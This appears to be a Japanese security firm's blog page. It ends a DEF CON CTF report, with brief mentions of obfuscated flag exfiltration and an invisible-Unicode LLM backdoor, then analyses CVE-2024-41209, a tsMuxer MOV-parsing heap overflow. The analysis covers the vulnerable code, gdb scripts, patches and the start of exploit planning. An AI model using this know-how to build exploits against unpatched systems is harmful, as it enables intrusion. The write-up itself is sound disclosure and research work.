A&D では、相手が脆弱性に気が付きパッチを当ててしまうより先にその脆弱性を利用してフラグを取得することが重要です。その一方で、すべての脆弱性を相手より先に見つけるのは困難なため、自分が受けた攻撃を解析しこれ以上の失点が発生しないようにするという戦略が考えられます。

そこで、実際の競技では攻撃コードを作成したりパッチを当てたりする人以外に、ネットワークに流れるペイロードを監視し、自チームのフラグが流出していないか確認するツールが常に稼働していました。

通常の問題であれば、フラグを取得するペイロードを送信した場合、そのレスポンスとして平文のフラグがネットワークを流れるため、これを検知できました。一方、この問題では自由な JavaScript のコードを実行できるため、取得したフラグを暗号化して送信することで、フラグの流出を検知されることを防ぐことができます。 我々は、送信するフラグおよびスクリプトを難読化して攻撃することで、他チームからフラグを抜き取っていることを隠していました。

所感

一つの問題にしては脆弱性の数が多くまたそれら脆弱性の質的な部分で疑問があったものの、Jeoparty にはない A&D 固有の戦略を取ったり、リアルタイムでの攻防があったりと、非常に新鮮で面白い問題でした。

 

DEF CON CTF 32 Finals 結果

DEF CON 32 CTF Finals は、世界2位という素晴らしい成績でした。 チームは途中まで1位を守っていましたが、惜しくも最終日に逆転されてしまいました。

 

投影されたスコアボード

今年度は国際チームということもあり、各国のノウハウを結集して臨んだ Finals となりました。日本からは Reversing や Pwn ジャンルの人材が多く出場し、A&D システムの解析と攻撃 Exploit の作成に大きく貢献していました。他にも LLM を扱った問題では、不可視のユニコード文字でバックドアを作成する、ユニークな攻撃を行っていました。別の CTF では敵チームであることも多い他国のメンバーと、仲間として CTF に参加できる貴重な機会となりました。

DEF CON 32 Village

DEF CON 32 では CTF 以外にも様々なイベントが開催されており、自由に出入りできます。興味深かった Village やイベントをいくつか紹介します。

毎日変わる会場のサイネージ

Linecon

DEF CON 初日に開催される、Registration とグッズ購入のために列に並ぶイベントのことを Linecon と呼びます。会場の端から端までを長蛇の列が埋め尽くします。今年は開場時間からすこし遅れたためか、4時間半並び続けました。

参加チケットである HUMAN BADGE

Car Hacking Village

毎年恒例の車をハックする Village で、今年は Rivian の車が鎮座しています。ECU ハックを試みることができるテーブルも設置されおり、ハッカーたちが各々侵入を試していました。同じ Village で Tesla 車が貰える CTF も開催されていました。

Car Hacking Village のハッカーたち

Physical Security Village

物理的なセキュリティを扱う Village では、ブランクキーを加工することでオリジナルのキーを複製するコーナーが設置されていました。実際にテスト用のキーを複製し、開錠までを体験しました。

ブランクキーを加工する工具

DEF CON CTF Finals After Party

DEF CON 公式のイベントではありませんが、毎年 CTF の終わりの夜に有志によるアフターパーティが開催されます。50階スイートルームを貸し切り行うパーティには、Finals に出たチームが一堂に会します。他チームのメンバーと解法を共有しながら議論できる貴重なイベントです。

窓の外の Sphere と冷やされるフリードリンク

おわりに

DEF CON CTF では、実際の業務で用いるアプリケーションの解析や Exploit の技術から、LLM のような最新のセキュリティテーマまでを広く学ぶ機会を与えてくれます。また、世界中のトップハッカーと競り合う経験は、エンジニアとして大きな成長の糧となります。これからもリチェルカセキュリティでは、社員・アルバイトの方の自己研鑽のための渡航費・宿泊費を支援する予定です。

本記事の執筆に携わったArata、iwancof、iwashiiraは、リチェルカセキュリティでパートタイマーとして働いています。当社には他にもCTFの技術を生かせる領域で若い才能にお任せしたい業務がたくさんあります。この記事を読んで当社の取り組みにご興味を持った方は、ぜひ カジュアル面談 にお申し込みください。

 

社員・アルバイトの昼食チャレンジ

ラスベガスの夜景

 

DEF CON CTF に参加してくださった社員・アルバイトの方々、そして協力してくださった国内外チームのメンバーの方々、ありがとうございました!2025年の DEF CON 33 でお会いしましょう👋

Friday, October 25, 2024

rezzufを用いた0-dayエクスプロイトの開発 [CVE-2024-41209]

著者: iwashiira, ptr-yudai

はじめに

弊社ではfuzzufというファジングフレームワークを開発しています。ファジングとはプログラムの入力をランダムに生成して実行し、プログラムが異常な動作を引き起こす入力を探すソフトウェアテスト技術です。fuzzufの詳しい解説は以前のブログ記事をご覧ください。

私たちは、より強力なFuzzerを作成するために日々研究開発を行なっています。 fuzzufを用いることで、開発したFuzzerを手軽に実行できるだけでなく、容易にFuzzer同士を比較検証することができます。

私たちはfuzzufを拡張して、新たにrezzufというファジングアルゴリズムを実装しました。さらに、rezzufを利用してtsMuxerから0-day脆弱性を発見しました。本記事ではその脆弱性CVE-2024-41209の原理と解析手順、そして攻撃コードを解説します。

CVE-2024-41209

CVE-2024-41209はtsMuxerのMOVファイルのDemuxerに含まれていた脆弱性で、弊社メンバーのArata, ptr-yudai, iwashiiraが発見・報告しました。

tsMuxerはC++で書かれたオープンソースプロジェクトで、動画ファイルを扱うアプリケーションです。動画ファイルの中でも、映像・音声・字幕といったメディアの構成要素のことをエレメンタリーストリームと呼びます。これらエレメンタリーストリームをMP4, MKV, TSといった1つのコンテナファイルに統合する操作のことをmuxingと呼び、逆に分割する操作のことをdemuxingと呼びます。また、1つのコンテナファイルを別の形式のコンテナファイルに変換する操作をremuxingと呼びます。tsMuxerはこれらmuxing, demuxing, remuxingを扱うソフトウェアで、クライアントサイドのみならず、Universal Media Serverなどのサーバーサイドでも利用されています。

tsMuxerは複数のコンテナ形式をサポートしていますが、rezzufによるファジングの結果、MOVやMKV, VOBやTS向けのDemuxerに脆弱性や潜在的な問題があることがわかりました。特にMOV形式のDemuxerの脆弱性(CVE-2024-41209)ではエクスプロイト可能であり、また技術的にも興味深い点があることから、本ブログ記事にて紹介したいと思います。

MOVファイルの構造

今回見つけたバグの1つは、MOVファイルのパースに際して起きる脆弱性でした。脆弱性が発火する原理を理解して攻撃可能性を調べるために、まずはMOVファイルの構造を簡単に説明します。

MOVファイルといえば、代表的な動画ファイル形式の1つです。MOVファイルは複数のトラックと呼ばれる要素から構成され、各トラックはmovie, audioなどといった各種データを持っています。ファイルフォーマットとしては、atomという構成単位で階層化された構造になっています。

MOVファイルを hexdump -C 表示した結果を確認してみましょう。

$ hexdump -C test.mov
...
28 b1 00 00 00 80 73 74  63 6f 00 00 00 00 00 00  |(.....stco......|
00 1c 00 00 00 24 00 00  ca fe 00 00 cf 3c 00 00  |.....$.......<..|
d1 37 00 00 d6 78 00 00  d8 64 00 00 de cf 00 01  |.7...x...d......|
09 2b 00 01 35 32 00 01  61 3a 00 01 8b 95 00 01  |.+..52..a:......|
b7 9d 00 01 e1 f9 00 02  0e 00 00 02 38 5c 00 02  |............8\..|
64 64 00 02 8e bf 00 02  ba c7 00 02 e6 ce 00 03  |dd..............|
11 2a 00 03 3d 31 00 03  67 8e 00 03 93 94 00 03  |.*..=1..g.......|
bd f1 00 03 e9 f8 00 04  15 fe 00 04 40 5b 00 04  |............@[..|
6c 62 00 00 04 dc 74 72  61 6b 00 00 00 5c 74 6b  |lb....trak...\tk|
68 64 00 00 00 03 00 00  00 00 00 00 00 00 00 00  |hd..............|

traktkhd などの小文字のアルファベット4文字の文字列が散在していますが、これがatomの種類を表す名前(MKTAG)にあたります。atomは階層構造のため、1つのatomがさらに子にあたるatomを持つ場合があります。

例えば、上の例ではtkhdアトムはtrakアトムを包含しています。オフセット0x49b92からの4バイトにある値0x4dcがtrakアトムのサイズになりますが、その範囲内にtkhdアトムが配置されていることがわかります。

mp4dumpなどのコマンドでatomの階層構造を確認することもできます。

tsMuxerのMOV demuxing

tsMuxerにおいて、demuxingの際のMOVファイルのパース処理はmovDemuxer.cppおよびmovDemuxer.hに記述されています。 MovDemuxer::mov_read_default()MovDemuxer::ParseTableEntry() が核となる処理です。

MovDemuxer::mov_read_default()では親のatomの情報を引数のMOVAtom構造体から受け取ります。その後、子のatomの情報をMOVAtom構造体のsizeとtypeに格納した上で、MovDemuxer::ParseTableEntry()にこのMOVAtom構造体を渡しながら呼び出します。MovDemuxer::ParseTableEntry()はMKTAGに応じて、trakアトムならばMovDemuxer::mov_read_trak() を、といったように各種アトム用に作られた関数を呼び出します。各種アトム用に作られた関数ではそのアトムをパースし、もし内包されているアトムがあればMovDemuxer::mov_read_default() を呼ぶ、といった形で核となる処理に制御を戻し、順次アトムの階層構造をdemuxしていきます。

 MovDemuxer::mov_read_default()

MovDemuxer::ParseTableEntry()

 

脆弱性の根本原因を特定

rezzufによるファジングの結果、 MovDemuxer::mov_read_trun() 内でheap-buffer-overflowと分類されるクラッシュが見つかりました。このクラッシュを引き起こした入力を元に、根本原因を特定しましょう。

ファジングの際には特定の関数に絞って入力を渡すようなコードを使用しており、そのようなコードをハーネスと呼びます。

ファジングに使用した具体的なハーネス、およびクラッシュ入力となるMOVファイルはGithubのissueを確認ください。また、詳細なASAN Reportとmp4dumpの結果は、リポジトリをご覧ください。

まず、クラッシュが起きている箇所である MovDemuxer::mov_read_trun() の処理を確認しましょう。

int MovDemuxer::mov_read_trun(MOVAtom atom)
{
    MOVFragment* frag = &fragment;
    unsigned data_offset = 0;

    if (frag->track_id <= 0 || frag->track_id > num_tracks)
        return -1;
    Track* st = tracks[frag->track_id - 1];
    const auto sc = reinterpret_cast<MOVStreamContext*>(st);
    if (sc->pseudo_stream_id + 1 != frag->stsd_id)
        return 0;
    get_byte();  // version
    const unsigned flags = get_be24();
    const unsigned entries = get_be32();
    if (flags & 0x001)
        data_offset = get_be32();
    if (flags & 0x004)
        get_be32();  // first_sample_flags
    int64_t offset = frag->base_data_offset + data_offset;
    sc->chunk_offsets.push_back(offset);
    for (size_t i = 0; i < entries; i++)
    {
        unsigned sample_size = frag->size;

        if (flags & 0x100)
            get_be32();  // sample_duration
        if (flags & 0x200)
            sample_size = get_be32();
        if (flags & 0x400)
            get_be32();  // sample_flags
        if (flags & 0x800)
        {
            sc->ctts_data.emplace_back();
            sc->ctts_data[sc->ctts_count].count = 1;
            sc->ctts_data[sc->ctts_count].duration = get_be32();
            sc->ctts_count++;
        }

        // assert(sample_duration % sc->time_rate == 0);
        offset += sample_size;
    }
    frag->moof_offset = offset;
    return 0;
}

trunというアトムのflagsについて、0x800に相当するbitが立っている時に、ベクター sc->ctts_datasc->ctts_count をindexとして、countに1を、durationにファイルから読み込んだ32bitをそれぞれ書き込んでいます。クラッシュログはこの箇所でheap-buffer-overflowが起きていることを示唆しているため、heapに確保されたベクターへの書き込み処理で範囲外参照(OOB; out-of-bounds)が起きていると考えられます。

ctts_dataのベクターは、グローバル変数として確保されている構造体中のtracksという配列を経由してアクセスされます。バグが起きる根本原因を調べるため、ctts_dataベクターへの操作全般と関連する変数の値を確認していきましょう。

解析の下準備

関連する変数の値を適宜確認するために、今回はgdbスクリプトを使用します。gdbスクリプトはデバッグ情報付きのバイナリをソースコードと共にデバッグする際に、非常に強力な解析能力を提供してくれます。tsMuxerが配布しているバイナリのビルド方法を確認し、ビルドスクリプトに手を加えて解析用のバイナリをビルドしましょう。

GitHubのworkflowを確認すると、 scripts/rebuild_linux_with_gui_docker.sh を実行することで配布バイナリをビルドしています。cmakeのbuildオプションに -DCMAKE_BUILD_TYPE=Debug を加えるなどした後、 justdan96/tsmuxer_build という専用のdocker image内でスクリプトを実行することで配布バイナリとほぼ同一のデバッグ用のバイナリを生成できます。

diff --git a/scripts/rebuild_linux_with_gui_docker.sh b/scripts/rebuild_linux_with_gui_docker.sh
index 7823b58..44488f8 100755
--- a/scripts/rebuild_linux_with_gui_docker.sh
+++ b/scripts/rebuild_linux_with_gui_docker.sh
@@ -1,12 +1,11 @@
 rm -rf build
 mkdir build
 cd build
-cmake  -DTSMUXER_GUI=ON -DTSMUXER_STATIC_BUILD=ON -DFREETYPE_LDFLAGS=png ../
+cmake  -DTSMUXER_GUI=ON -DTSMUXER_STATIC_BUILD=ON -DFREETYPE_LDFLAGS=png -DCMAKE_BUILD_TYPE=Debug ../
 make
 cp tsMuxer/tsmuxer ../bin/tsMuxeR
 cp tsMuxerGUI/tsMuxerGUI ../bin/tsMuxerGUI
 cd ..
-rm -rf build
 mkdir ./bin/lnx
 mv ./bin/tsMuxeR ./bin/lnx/tsMuxeR
$ docker pull justdan96/tsmuxer_build
$ docker run -it --rm -v $(pwd):/workdir -w="/workdir" justdan96/tsmuxer_build bash
# ./scripts/rebuild_linux_with_gui_docker.sh

後は、gdb script側でコンテナ内でのcmake時のproject rootのパスをホスト上のパスに変換してやれば、ソースコード付きでデバッグすることが可能となります。

import gdb

gdb.execute('set substitute-path /workdir .')
gdb.execute('b MovDemuxer::mov_read_trun')
gdb.execute('r')

アトムの“over-parse”の発見

解析作業に着手し始めてすぐに、 MovDemuxer::mov_read_trun() が6回も実行されていることに気づきます。クラッシュ入力のMOVファイルにはtrunアトムのMKTAGは一つしか存在しないため、これは非常におかしなことです。例えば3回目にMovDemuxer::mov_read_trun() でbreakした際のstack traceを確認してみましょう。解析の下準備にてソースコードと共にデバッグする環境を整えたおかげで、stack traceに積まれている関数がかつてcallされた時にはどのような引数を伴っていたのか容易に確認できます。

gef> bt
#0  MovDemuxer::mov_read_trun (this=0x939e30, atom={type = 0x6e757274, offset = 0x41db, size = 0x60}) at /workdir/tsMuxer/movDemuxer.cpp:1070
#1  0x00000000004ba65a in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x6e757274, offset = 0x41db, size = 0x60}) at /workdir/tsMuxer/movDemuxer.cpp:919
#2  0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x66617274, offset = 0x41b3, size = 0x88}) at /workdir/tsMuxer/movDemuxer.cpp:974
#3  0x00000000004ba32a in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x66617274, offset = 0x41b3, size = 0x88}) at /workdir/tsMuxer/movDemuxer.cpp:866
#4  0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x666f6f6d, offset = 0x419b, size = 0xa0}) at /workdir/tsMuxer/movDemuxer.cpp:974
#5  0x00000000004bbd97 in MovDemuxer::mov_read_moof (this=0x939e30, atom={type = 0x666f6f6d, offset = 0x419b, size = 0xa0}) at /workdir/tsMuxer/movDemuxer.cpp:1291
#6  0x00000000004ba47e in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x666f6f6d, offset = 0x419b, size = 0xa0}) at /workdir/tsMuxer/movDemuxer.cpp:891
#7  0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x666f6f6d, offset = 0x2ba8, size = 0x3b3b0f3d}) at /workdir/tsMuxer/movDemuxer.cpp:974
#8  0x00000000004bbd97 in MovDemuxer::mov_read_moof (this=0x939e30, atom={type = 0x666f6f6d, offset = 0x2ba8, size = 0x3b3b0f3d}) at /workdir/tsMuxer/movDemuxer.cpp:1291
#9  0x00000000004ba47e in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x666f6f6d, offset = 0x2ba8, size = 0x3b3b0f3d}) at /workdir/tsMuxer/movDemuxer.cpp:891
#10 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x0, offset = 0x0, size = 0x3b3b3ae5}) at /workdir/tsMuxer/movDemuxer.cpp:974
#11 0x00000000004bc798 in MovDemuxer::mov_read_stsd (this=0x939e30, atom={type = 0x64737473, offset = 0x20b, size = 0x93}) at /workdir/tsMuxer/movDemuxer.cpp:1526
#12 0x00000000004ba528 in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x64737473, offset = 0x20b, size = 0x93}) at /workdir/tsMuxer/movDemuxer.cpp:901
#13 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x6c627473, offset = 0x203, size = 0xdf}) at /workdir/tsMuxer/movDemuxer.cpp:974
#14 0x00000000004ba32a in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x6c627473, offset = 0x203, size = 0xdf}) at /workdir/tsMuxer/movDemuxer.cpp:866
#15 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x666e696d, offset = 0x1c3, size = 0x11f}) at /workdir/tsMuxer/movDemuxer.cpp:974
#16 0x00000000004ba32a in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x666e696d, offset = 0x1c3, size = 0x11f}) at /workdir/tsMuxer/movDemuxer.cpp:866
#17 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x6169646d, offset = 0x16e, size = 0x174}) at /workdir/tsMuxer/movDemuxer.cpp:974
#18 0x00000000004ba32a in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x6169646d, offset = 0x16e, size = 0x174}) at /workdir/tsMuxer/movDemuxer.cpp:866
#19 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x6b617274, offset = 0x10a, size = 0x1d8}) at /workdir/tsMuxer/movDemuxer.cpp:974
#20 0x00000000004bb351 in MovDemuxer::mov_read_trak (this=0x939e30, atom={type = 0x6b617274, offset = 0x10a, size = 0x1d8}) at /workdir/tsMuxer/movDemuxer.cpp:1143
#21 0x00000000004ba5f4 in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x6b617274, offset = 0x10a, size = 0x1d8}) at /workdir/tsMuxer/movDemuxer.cpp:913
#22 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x766f6f6d, offset = 0x5e, size = 0x2e5}) at /workdir/tsMuxer/movDemuxer.cpp:974
#23 0x00000000004bbd17 in MovDemuxer::mov_read_moov (this=0x939e30, atom={type = 0x766f6f6d, offset = 0x5e, size = 0x2e5}) at /workdir/tsMuxer/movDemuxer.cpp:1280
#24 0x00000000004ba4a0 in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x766f6f6d, offset = 0x5e, size = 0x2e5}) at /workdir/tsMuxer/movDemuxer.cpp:893
#25 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x0, offset = 0x0, size = 0x7fffffffffffffff}) at /workdir/tsMuxer/movDemuxer.cpp:974
#26 0x00000000004b8e43 in MovDemuxer::readHeaders (this=0x939e30) at /workdir/tsMuxer/movDemuxer.cpp:696
#27 0x00000000004b8923 in MovDemuxer::openFile (this=0x939e30, streamName=@0x7fffffffdc70: {static npos = 0xffffffffffffffff, _M_dataplus = {<std::allocator<char>> = {<__gnu_cxx::new_allocator<char>> = {<No data fields>}, <No data fields>}, _M_p = 0x7fffffffdc80 "../vuln15.mov"}, _M_string_length = 0xd, {_M_local_buf = "../vuln15.mov\\000\\000", _M_allocated_capacity = 0x316e6c75762f2e2e}}) at /workdir/tsMuxer/movDemuxer.cpp:657
#28 0x000000000048b87c in METADemuxer::DetectStreamReader (readManager=@0x908200: {m_fileReaders = {<std::_Vector_base<BufferedReader*, std::allocator<BufferedReader*> >> = {_M_impl = {<std::allocator<BufferedReader*>> = {<__gnu_cxx::new_allocator<BufferedReader*>> = {<No data fields>}, <No data fields>}, <std::_Vector_base<BufferedReader*, std::allocator<BufferedReader*> >::_Vector_impl_data> = {_M_start = 0x921ca0, _M_finish = 0x921cb0, _M_end_of_storage = 0x921cb0}, <No data fields>}}, <No data fields>}, m_readersCnt = 0x2, m_blockSize = 0x200000, m_allocSize = 0x208000, m_prereadThreshold = 0x100000}, fileName=@0x7fffffffdc70: {static npos = 0xffffffffffffffff, _M_dataplus = {<std::allocator<char>> = {<__gnu_cxx::new_allocator<char>> = {<No data fields>}, <No data fields>}, _M_p = 0x7fffffffdc80 "../vuln15.mov"}, _M_string_length = 0xd, {_M_local_buf = "../vuln15.mov\\000\\000", _M_allocated_capacity = 0x316e6c75762f2e2e}}, calcDuration=0x1) at /workdir/tsMuxer/metaDemuxer.cpp:608
#29 0x000000000046672c in detectStreamReader (fileName=0x7fffffffe823 "../vuln15.mov", mplsParser=0x0, isSubMode=0x0) at /workdir/tsMuxer/main.cpp:114
#30 0x000000000046964a in main (argc=0x2, argv=0x7fffffffe5c8) at /workdir/tsMuxer/main.cpp:689

各引数を確認していきましょう。MovDemuxer::mov_read_stsd() 後に MovDemuxer::mov_read_default() を実行する際のsizeが、親アトムのstsdアトムのサイズと比べて非常に大きな値になってしまっています。 stsdアトムとして解釈されるべきMOVファイルのオフセットの範囲を越えて、現在のstsdアトムの開始オフセットからファイル末尾までに存在するMKTAG全てが、 stsdアトムの子アトムとしてparseされてしまっているのです。その結果、一つの trun MKTAGに対して複数のMovDemuxer::mov_read_trun() が呼ばれることになります。

このheap buffer “over-parse”とも呼べるようなバグの原因をソースコード上で確認しましょう。MovDemuxer::mov_read_stsd() の中で、MovDemuxer::mov_read_default()に渡される、MOVAtom構造体 aa.size はsizeというローカル変数を用いて計算されており、このローカル変数sizeはユーザー入力であるMOVファイルから読み取っています。stsdアトムのサイズである atom.size とsizeを比較する範囲チェックが存在しないことが“over-parse”の原因です。

int MovDemuxer::mov_read_stsd(MOVAtom atom)
{
    if (num_tracks == 0)
        return -1;
    const auto st = reinterpret_cast<MOVStreamContext*>(tracks[num_tracks - 1]);

    get_byte();  // version
    get_be24();  // flags

    const unsigned entries = get_be32();

    for (unsigned pseudo_stream_id = 0; pseudo_stream_id < entries; pseudo_stream_id++)
    {
        // Parsing Sample description table
        // enum CodecID id;
        MOVAtom a;
        const int64_t start_pos = m_processedBytes;
        const unsigned size = get_be32();    // size <- ユーザー入力
        const uint32_t format = get_le32();  // data format

				...

        // this will read extra atoms at the end (wave, alac, damr, avcC, SMI ...)
        a.size = size - (m_processedBytes - start_pos); // <- a.sizeを計算
        if (a.size > 8)
        {
            if (mov_read_default(a) < 0)
                return -1;
        }
        else if (a.size > 0)
            skip_bytes(a.size);
    }
    return 0;
}

この脆弱性には以下のようなパッチを当てました。

int MovDemuxer::mov_read_stsd(MOVAtom atom)
{
		...
        a.size = size - (m_processedBytes - start_pos);
+        if (a.size > atom.size) {
+            THROW(ERR_MOV_PARSE, "MP4/MOV error: Invalid a.size in mov_read_stsd")
+        }
        if (a.size > 8)
        {
            if (mov_read_default(a) < 0)
                return -1;
        }
        else if (a.size > 0)
            skip_bytes(a.size);
    }
    return 0;
}

ctts_dataのベクターが壊れる原因

さて、MovDemuxer::mov_read_trun() が複数回呼ばれているという不可解な現象の根本原因を特定し、heap buffer “over-parse”脆弱性に対するパッチを当てることはできましたが、ASAN Reportがheap buffer overflowと分類したctts_dataのベクターを壊している原因は未だ特定できていません。gdb scriptを駆使して、複数回のMovDemuxer::mov_read_trun() の実行を跨いだctts_dataベクターに関連する変数の遷移を確認しましょう。

MovDemuxer::mov_read_trun() 内では ctts_data.emplace_back() でctts_dataベクターの末尾に要素を確保した後にctts_countをindexとして書き込みを行っています。emplace_back()というメンバー関数は、ベクターのsizeをインクリメントした後にcapacityの値と比較し、sizeの方が大きい場合はベクターの領域が足りないということでヒープ領域にベクターを再確保します。そのため、具体的な変数としてはctts_countとctts_dataベクターのsizeとcapacityの遷移を確認します。生成されたバイナリでは、capacity()メンバー関数はインライン化されていてgdbからcallするのは難しいですが、 vectorの _M_impl._M_end_of_storage から _M_impl._M_start を引くことで計算できます。

import gdb
gdb.execute('set substitute-path /workdir .')
gdb.execute('b movDemuxer.cpp:1078')
gdb.execute('r')
for i in range(0, 6):
    print("sc->ctts_data.size()")
    gdb.execute('p/x sc->ctts_data.size()')
    print("sc->ctts_data.capacity()")
    gdb.execute('p/x sc->ctts_data._M_impl._M_end_of_storage - sc->ctts_data._M_impl._M_start')
    print("sc->ctts_count")
    gdb.execute('p/x sc->ctts_count')
    if (i == 5):
        break
    gdb.execute('c')
Thread 1 "tsMuxeR" hit Breakpoint 1, MovDemuxer::mov_read_trun (this=0x939e30, atom=...) at /workdir/tsMuxer/movDemuxer.cpp:1078
1078	    if (sc->pseudo_stream_id + 1 != frag->stsd_id)
sc->ctts_data.size()
$1 = 0x0
sc->ctts_data.capacity()
$2 = 0x0
sc->ctts_count
$3 = 0x0

Thread 1 "tsMuxeR" hit Breakpoint 1, MovDemuxer::mov_read_trun (this=0x939e30, atom=...) at /workdir/tsMuxer/movDemuxer.cpp:1078
1078	    if (sc->pseudo_stream_id + 1 != frag->stsd_id)
sc->ctts_data.size()
$4 = 0xa
sc->ctts_data.capacity()
$5 = 0x10
sc->ctts_count
$6 = 0xa

Thread 1 "tsMuxeR" hit Breakpoint 1, MovDemuxer::mov_read_trun (this=0x939e30, atom=...) at /workdir/tsMuxer/movDemuxer.cpp:1078
1078	    if (sc->pseudo_stream_id + 1 != frag->stsd_id)
sc->ctts_data.size()
$7 = 0x14
sc->ctts_data.capacity()
$8 = 0x20
sc->ctts_count
$9 = 0x14

Thread 1 "tsMuxeR" hit Breakpoint 1, MovDemuxer::mov_read_trun (this=0x939e30, atom=...) at /workdir/tsMuxer/movDemuxer.cpp:1078
1078	    if (sc->pseudo_stream_id + 1 != frag->stsd_id)
sc->ctts_data.size()
$10 = 0x0
sc->ctts_data.capacity()
$11 = 0x20
sc->ctts_count
$12 = 0x1e

Thread 1 "tsMuxeR" hit Breakpoint 1, MovDemuxer::mov_read_trun (this=0x939e30, atom=...) at /workdir/tsMuxer/movDemuxer.cpp:1078
1078	    if (sc->pseudo_stream_id + 1 != frag->stsd_id)
sc->ctts_data.size()
$13 = 0xa
sc->ctts_data.capacity()
$14 = 0x20
sc->ctts_count
$15 = 0x28

Thread 1 "tsMuxeR" hit Breakpoint 1, MovDemuxer::mov_read_trun (this=0x939e30, atom=...) at /workdir/tsMuxer/movDemuxer.cpp:1078
1078	    if (sc->pseudo_stream_id + 1 != frag->stsd_id)
sc->ctts_data.size()
$16 = 0x14
sc->ctts_data.capacity()
$17 = 0x20
sc->ctts_count
$18 = 0x32

heap BOFの根本原因を特定

gdb scriptの実行結果を確認すると、3回目のbreakから4回目のbreakの間にctts_data.sizeが0に初期化されるタイミングがあるようです。一方で、capacityは初期化されていません。ctts_countは一貫して足され続けていて、capacityの値を超えたindexに書き込みが行われており、vector用のheap領域にてheap BOFが起きています。

MovDemuxer::mov_read_trun() 以外でctts_data.sizeに変更を加えるコードを探すと MovDemuxer::mov_read_ctts() が見つかります。ここで、 st->ctts_data.resize(entries); によってctts_dataのベクターをresizeしている一方で、ctts_countやctts_dataベクターのcapacityを初期化していないことに気づきます。

int MovDemuxer::mov_read_ctts(MOVAtom atom)
{
    const auto st = reinterpret_cast<MOVStreamContext*>(tracks[num_tracks - 1]);
    get_byte();  // version
    get_be24();  // flags
    const unsigned entries = get_be32();
    st->ctts_data.resize(entries);
    for (unsigned i = 0; i < entries; i++)
    {
        st->ctts_data[i].count = get_be32();
        st->ctts_data[i].duration = get_be32();
        // st->time_rate= av_gcd(st->time_rate, abs(st->ctts_data[i].duration));
    }
    return 0;
}

MovDemuxer::mov_read_trun() 内では、emplace_backによるsizeのインクリメントとctts_countのインクリメントは同時に行われるので範囲外参照を起こさないかのように見えます。

しかし、MovDemuxer::mov_read_trun()MovDemuxer::mov_read_ctts()MovDemuxer::mov_read_trun() の順番に実行された際には、sizeだけはユーザー入力によってresizeされる一方で、ctts_countやcapacityは初期化されず、sizeがcapacityを下回っている場合はベクターの再確保もされないので、2回目以降のMovDemuxer::mov_read_trun() にてcapacityを超えて範囲外書き込みが起きてしまうのです。MovDemuxer::mov_read_trun() の後にMovDemuxer::mov_read_ctts() を実行することを想定していなかったのだと思われます。

この脆弱性には、以下のようなパッチを行いました。

shrink_to_fit()を使うことで、capacityをresizeしたベクターのsizeに合わせています。

int MovDemuxer::mov_read_ctts(MOVAtom atom)
{
    const auto st = reinterpret_cast<MOVStreamContext*>(tracks[num_tracks - 1]);
    get_byte();  // version
    get_be24();  // flags
    const unsigned entries = get_be32();
    st->ctts_data.resize(entries);
+    st->ctts_data.shrink_to_fit();
+    st->ctts_count = 0;
    for (unsigned i = 0; i < entries; i++)
    {
        st->ctts_data[i].count = get_be32();
        st->ctts_data[i].duration = get_be32();
        // st->time_rate= av_gcd(st->time_rate, abs(st->ctts_data[i].duration));
    }
    return 0;
}

さて、以上のようにクラッシュ入力を用いて解析を行い脆弱性の根本原因を特定しましたが、1つ目の脆弱性が全く別の脆弱性を発火させ、その結果クラッシュを引き起こしたという非常に面白いクラッシュ入力であったことが分かりました。クラッシュ入力のMOVファイルではcttsアトム → trunアトムの順に一つずつのみ存在しており、本来2つ目のheap BOFの条件を満たしてはいなかったはずですが、stsdアトムでの”over-parse”によってcttsアトムとtrunアトムに対して余分にparseを行なってしまうことで条件が整い、2つ目のheap BOFが発火していたのです。

一般に、条件の厳しい脆弱性や、クラッシュやOOBを引き起こさないロジックバグなどをFuzzingで見つけるのは難しいです。しかし今回のクラッシュ入力は、発火条件はそこまで厳しくないがクラッシュしない脆弱性と、発火条件は厳しいがクラッシュを引き起こす脆弱性がチェインした結果、Fuzzingによって見つかったという珍しい事例でした。

エクスプロイト開発

見つかった脆弱性にパッチを当てた後は、その脆弱性の攻撃可能性を評価しましょう。今回のheap BOFの書き込み部分を再度確認します。1と32bitの入力を交互に書き込むことが出来そうです。

            sc->ctts_data.emplace_back();
            sc->ctts_data[sc->ctts_count].count = 1;
            sc->ctts_data[sc->ctts_count].duration = get_be32();
            sc->ctts_count++;

私たちはこのheap BOFをcriticalでRCEに繋げられる脆弱性であると推定し、exploitableであることを証明するエクスプロイトコードを作成することにしました。

エクスプロイトにおける課題

まず、CTFでbinary exploitationの問題を解く際と同じように、tsMuxerが配布しているバイナリのセキュリティ機構を確認します。tsMuxerはバイナリをportableにする目的でstatic-linkedでかつno-pieなバイナリをデフォルトで配布しており、攻撃者視点ではアドレスリークのprimitiveがほとんど必要ないことが嬉しいポイントです。

$ file ./tsMuxeR
./tsMuxeR: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=56c7bf03a7cbd46c1f7fc3ce82bf651f023e9f7c, for GNU/Linux 3.2.0, with debug_info, not stripped
$ checksec ./tsMuxeR
[*] '/home/vagrant/tsMuxer/bin/lnx/tsMuxeR'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

